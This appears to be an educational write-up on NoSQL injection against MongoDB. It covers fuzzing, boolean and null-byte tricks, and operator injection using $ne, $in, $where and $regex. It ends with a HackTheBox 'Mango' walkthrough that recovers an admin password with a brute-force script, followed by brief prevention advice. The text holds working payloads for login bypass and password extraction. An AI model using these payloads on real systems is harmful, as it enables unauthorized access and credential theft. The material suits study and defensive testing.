What is NoSQL Injection?#
These types of attacks occur when attackers interfere with the queries that the web application sends to a NoSQL database. This could lead to authentication bypass, exfiltration of data, modification of data, denial of service, or possible code execution.
NoSQL databases are just databases that store and retrieve data using queries that differ from traditional SQL syntax. Because of this, there are a wide variety of languages unlike SQL and often have fewer relational restraints.
The two main types of NoSQL injection that you’ll find: syntax injection and operator injection.
Syntax Injection#
This occurs when you can break the NoSQL query’s syntax, allowing you to use your own payload. To look for this, you can systematically test for each input by fuzzing strings and special characters that trigger errors or other behavior.
If we already know the language of the target database, it makes our job a lot easier because we can refine which strings we will fuzz with.
Detecting Syntax Injection#
Imagine a website that acts as a leaderboard for race scores and allows you to filter by the event. The browser might try to request the following:
https://vulnerable.com/scores/lookup?event=discus
This causes the application to then send some JSON query to retrieve the event information from the database (For this example, assume a MongoDB collection):
this.event == 'discus'
If we want to test if the input is vulnerable, we can try to submit a fuzz string in the event parameter:
'"`{
;$Foo}
$Foo \xYZ
Then, we can URL encode these characters and send them in the URL:
https://vulnerable.com/scores/lookup?event='%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
If this causes some kind of change in the application behavior, it is likely that somewhere along the line the input is not being sanitized.
Determine Which Characters are Processed#
We might want to figure out which characters can be interpreted by the application by just injecting single characters like this:
this.event == '''
In this case, it we see a change it would indicate that the ' character is causing a syntax error. You can confirm this by trying another payload that should give back a valid response:
this.event == '\''
Confirm Conditional Behavior#
Once you’ve found some characters that can get through to be processed, you want to determine if you can influence some boolean conditions using NoSQL syntax.
We could send two requests - one with a false condition and the other with a true condition. For example, this false condition:
Payload: ' && 0 && 'x
https://vulnerable.com/scores/lookup?event=discus'+%26%26+0+%26%26+'x
If a true condition does not affect the application but a false one does, that suggests that we are able to influence some server-side query.
Overriding Conditions#
Once you’ve verified that you can use a boolean condition, next we want to try and override the condition.
For example, if our payload that always resolves to true is '||1||', then the responding query would be something like this:
this.event == 'discus'||'1'=='1'
Because this injected condition is always true, the query would instead return all the events - including hidden ones.
You can also add null characters after the initial value to see if the DB ignores the characters afterwards, which should let us inject other conditions.
Let’s say that the website in question has a secret event type where they predict the scores of athletes and store them to see how accurate a prediction was. That query might have another restriction like this:
this.event == 'discus' && this.prediction == 0
This restriction would ensure that all the discus scores shown are not the predicted ones. But we could make a query in the URL like this:
https://vulnerable.com/scores/lookup?event=discus'%00
Which would result in the following query:
this.event == 'discus'\u0000' && this.prediction == 0
Because (in this case MongoDB) ignores characters after a null character, this removes the restriction and reveals all the predicted scores in the discus event category.
Operator Injection#
NoSQL databases often use query operators that help specify conditions that data must meet in order to be included. For example MongoDB uses:
| Operator | Purpose |
|---|---|
$where | Matches documents that satisfy some JS expression |
$ne | Matches values not equal (ne) to the specified value |
$in | Matches the values specified in an array |
$regex | Selects documents where values match a regular expression |
You might be able to inject operators to manipulate queries in more sophisticated ways than the query itself would allow for.
Submitting Query Operators#
In JSON, you can input query operators as nested objects. Like if the same website from earlier let you look up an athlete by their name like this:
{"playerName":"gabe"}
//the above example would become the below
{"playerName":{"$ne":"invalid"}}
If you are working with a parameter in a URL, you might insert operators like this:
playerName=gabe
playername[$ne]=invalid
If this doesn’t work, try messing around with the request by changing requests from GET to POST or changing the Content-Type header.
Detecting Operator Injection#
Let’s say that the application from earlier lets coaches log in to enter their athlete’s scores using a POST request like this:
{
"username":"Kburk",
"password":"vgpwnbweg"
}
You’d want to test each input with a range of operators. We could try to see if the username input is using an operator like this:
{
"username":
{
"$ne":"invalid"
},
"password":"vgpwnbweg"
}
This way, if the $ne operator is applied, every username that is not equal to invalid will be queried. This is basically password spraying - but we can take it a step further by trying both the username and password:
{
"username":
{
"$ne":"invalid"
},
"password":{
"$ne":"invalid"
}
}
This would check for all login credentials where the username and password are not invalid, which should be true for every set of credentials. This could bypass authentication entirely and allow us to log in as the first user in the table.
If that is too much of a low-hanging-fruit for you, then maybe you want just one user’s account. You can specify a user like this:
{
"username":
{
"$in":["admin","administrator","superadmin"]
},
"password":
{
"$ne":""
}
}
This would see if the usernames in the array are found and if their passwords are not empty, which would return true if one of the usernames exist and log you in.
Extracting Data#
In NoSQL databases, we can sometimes run limited JavaScript code, like in the $where operator mentioned earlier. This means that we can potentially execute functions if an application is using these operators.
Exfiltrating Data with Syntax Injection#
Imagine the application from earlier with a feature that lets you look up a coach’s profile to see which athletes they are in charge of. It might be done by triggering a request to the URL:
https://vulnerable.com/coaches/lookup?coachName=Kburk
This might result in the following NoSQL query:
{
"$where":"this.coachName == 'Kburk'"
}
Because this query is using the $where operator, we might be able to inject additional JavaScript functions into the query by inputting the following:
Kburk' && this.password[0] == 'a' || 'a'=='b
This new query would return the first character in the coach’s password string, allowing you to get the password one character at a time.
You could also accomplish the same thing with a match() function:
Kburk' && this.password.match(/\d/) || 'a'=='b
Exfiltrating Data with Operator Injection#
You can perform similar attacks with operator injection, but in this case we don’t need to rely on the original query containing the operator because we can just add one.
Let’s look back at that login request:
{
"username":"Kburk",
"password":"vgpwnbweg"
}
We can try adding the $where operator in the JSON data and seeing if our boolean conditions return as expected:
{
"username":"Kburk",
"password":"vgpwnbweg",
"$where":"0"
}
//you could use "1" for true and "0" for false
Differences in the two requests could help you determine if the expression in the $where clause is being evaluated.
You can also use this same technique to extract data if we were to use the $regex operator. For example:
{
"username":"Kburk",
"password":"vgpwnbweg",
"$regex":"^.*"
}
If the response we receive from this request is different from one we receive with an incorrect password then the application might be vulnerable.
We can repeat the one-at-a-time approach like this:
{
"username":"Kburk",
"password":"vgpwnbweg",
"$regex":"^a*"
}
Note: you can also use blind techniques like the sleep command to see if an query is being evaluated even if you can’t see the output directly.
HTB - Mango#
We can do some subdomain enumeration to find staging-order.mango.htb which contains a login page Let’s examine the POST request when we try to log in:
POST / HTTP/1.1
Host: staging-order.mango.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://staging-order.mango.htb
Connection: close
Referer: http://staging-order.mango.htb/
Cookie: PHPSESSID=5u1rf8jsjd3l0nnr165r0gt0m9
Upgrade-Insecure-Requests: 1
username=gabe&password=gabectf&login=login
This returns a 200 response for the home page if we fail a login, so they probably redirect somewhere else when we succeed.
The weird thing is that if we change the Content-Type header to application/json and swap out the body with the same data in JSON format, it still seems to work:

But trying to use injection with this format doesn’t seem to get me anywhere, so I can try to use the normal URL-style parameters from before with a special payload:

Normally, you’d only really use this format in the URL itself but it works fine in the POST body.
Unfortunately, this just redirects us to a home page that is under construction so it isn’t much use, but we can use one of the tricks we learned to brute-force some information.
For example, we can use the $regex operator to find a username:
username[$regex]=^a.*$&password[$ne]=gabe&login=login
Trying more characters reveals that there is an admin user, and we can start to figure out their password:
username=admin&password[$regex]=^t.*$&login=login
I made a python script that will figure out the password for us:
╰─ python3 example.py -url http://staging-order.mango.htb/ -username admin -max-length 15
===Config===
URL: http://staging-order.mango.htb/
Username: admin
Maximum Password Length: 15
===Start===
t9KcS3>!0B#2\
===Complete===
admin:t9KcS3>!0B#2
Prevention#
It mostly depends on the technology in use for the given application and reading the documentation can’t hurt when trying to lock things down. The guidelines for this are that you should try to sanitize and validate user input by using allow lists, utilize parameterized queries, and try to use an allow list of acceptable keys to prevent operator injection.